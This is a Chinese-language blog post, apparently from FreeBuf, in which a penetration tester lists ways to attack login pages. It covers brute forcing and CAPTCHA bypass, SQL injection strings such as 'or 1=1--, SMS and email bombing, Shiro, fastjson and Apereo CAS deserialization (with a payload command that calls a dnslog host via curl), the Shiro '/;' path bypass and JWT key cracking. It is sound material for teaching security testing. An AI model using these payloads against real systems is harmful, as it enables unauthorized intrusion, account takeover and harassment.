ZHANGMY
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

前言
在日常渗透测试或者攻防演练中,遇到最多的页面可能就是登录页面了
在我刚入职时 最让我头疼的就是这种情况,在经历了这大半年的工作和学习下,我把我对于这种情况的思路和方法分享一下
测试思路
1.1 明文传输/不安全的加密算法/用户名可枚举/爆破弱口令/验证码绕过
这几个就放一起了,总结起来就俩字爆破
明文传输/不安全的加密算法: 看似人畜无害的漏洞却给暴力破解带来了可能性
用户名枚举: 又给爆破增加了成功率 这里要注意的一点是 有的站点的回显只有一点点不同 比如: (用户名或密码错误--用户名/密码错误) (都2077年了,不会还有站老老实实告诉你用户名不存在吧)
验证码绕过: 验证吗不刷新 (这种就是纯摆设验证码);万能验证码 (如8888,0000一般为开发者为了测试方便设置的); 验证吗回显 (有的网站验证码会回显到前端,只需要抓包即可获得验证码);验证码识别(实在是绕不过去还有这最后一个方法 这里附上我常用的bp验证码识别插件 https://github.com/smxiazi/NEW_xp_CAPTCHA
社工字典: 推荐一个小工具,可以根据收集到的信息生成针对性较强的密码
https://github.com/jx4321/genpass
1.2 SQL注入
直接在登录框存在sql注入的站越来越少了,不过还是要测一测的 会有惊喜发生的呦
万能密码: 这无疑是最简单也是最好用的sql注入,若存在此漏洞可直接绕过登录访问系统内部资源(随着对安全这种情况越来越少,入职来只遇到过一次) 常见万能密码如下:
or 1=1--
'or 1=1--
a'or' 1=1--
"or 1=1--
...... (可直接放到枚举用户名的字典里顺便一起跑了)
登录框sql注入: 这种应该比万能密码更少见,但是理论上也存在(比如开发时只对万能密码进行了过滤,过滤不全)可以通过加特定字符来测试是否存在 如
'``"``#
1.3逻辑漏洞
测试登陆页面是否存在逻辑漏洞 如:任意密码重置,任意账号注册,短信(邮件)轰炸等
任意密码重置: 一般存在与先验证身份 下一步 重置密码(修改密码)的系统;或验证码与手机号不绑定的系统
任意账户注册:漏洞原理基本与任意密码重置相同,验证码未与手机号绑定或验证码可爆破
短信(邮箱)轰炸: 未对发送间隔,一段时间内发送最大数量做服务端验证,抓包后不断重返即可,若做了一定防护可添加
空格``+86
等进行绕过, 下图以邮箱轰炸为例
修改Respos返回信息:Response状态值,就是在服务器发送某个密码重置的凭据之后,出现特定的响应值,对Response状态值修改后,如果存在校验不严(存在逻辑漏洞),并且回显值得校验是在客户端进行,就能使相关操作成功被执行
查看返回包结构
修改状态值
成功进入系统
1.4框架漏洞
shiro/log4j/fastjson 反序列化: 这三个反序列化漏洞影响实在是太广了,前两年hw特别常见,这里就推荐几个bp的扫描插件吧(几乎不用手动测 全靠插件)
https://github.com/EASY233/BpScan(可被动扫描log4j,fastjson反序列化漏洞)
https://github.com/pmiaowu/BurpShiroPassiveScan(用来扫描shiro反序列化)
下图为fastjson反序列化漏洞
apereo-cas反序列: pereo CAS是一款Apereo发布的集中认证服务平台,常被用于企业内部单点登录系统。其4.1.7版本之前存在一处默认密钥的问题,利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞
随便输入账号密码抓包
使用 https://github.com/vulhub/Apereo-CAS-Attack/releases/download/v1.0.0/apereo-cas-attack-1.0-SNAPSHOT-all.jar此工具生成payload 命令如下
java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "curl aaa.dw7b1h.dnslog.cn"
将生成的payload替换请求包中的execution参数发送即可
shiro权限绕过: 在路由中拼接
/;
复现靶场 https://github.com/l3yx/springboot-shiro
如果直接访问 /test/admin/page ,会返回302跳转要求登录
但是访问/;/test/admin/page , 就能直接绕过 Shiro 权限验证,访问到 /admin 路由中的信息
cms漏洞: 可借助指纹识别系统判断站点是否为cms搭建,如果是可借助漏洞库查询历史公开漏洞进行测试 下面推荐几个常用的地址
http://finger.tidesec.net/(潮汐在线指纹识别)
http://wiki.peiqi.tech/(peiqi文库(漏洞库),先查这个复现过程非常详细)
https://avd.aliyun.com/(阿里云漏洞库,peiqi文库查不到再差这个)
1.5 js相关
禁用js: 部分站点会先跳转到类似
/admin/index.html
的页面,然后检测到未登录会再跳转到/login.html
对于这种我们可以禁用 javascript 测试,会有意想不到的发生查看js代码: js代码中经常会泄露有趣的东西,这里再推荐一下 FindSomething 这个插件可以快速地发现js中重要信息 下图为js泄露了用户名密码
1.6 未授权
可以借助dirsearch工具进行目录扫描
无需登录即可访问的页面
api接口文档: 越来越多的网站采用前后端分离来开发,开发完成后api接口文档可直接访问,扫描到api接口文档后可根据文档构造请求包进行测试
1.7 jwt相关
Json web token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准.该token被设计为紧凑且安全的,特别适用于分布式站点的单点登录
爆破密钥: 这里推荐使用jwt_tool工具,字典不用太大爆个top1k/top1w的就差不多了 出不出随缘
https://github.com/ticarpi/jwt_tool
总结
登录页面就像一道门,门后的神秘业务 神奇功能都可能存在有趣的漏洞
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)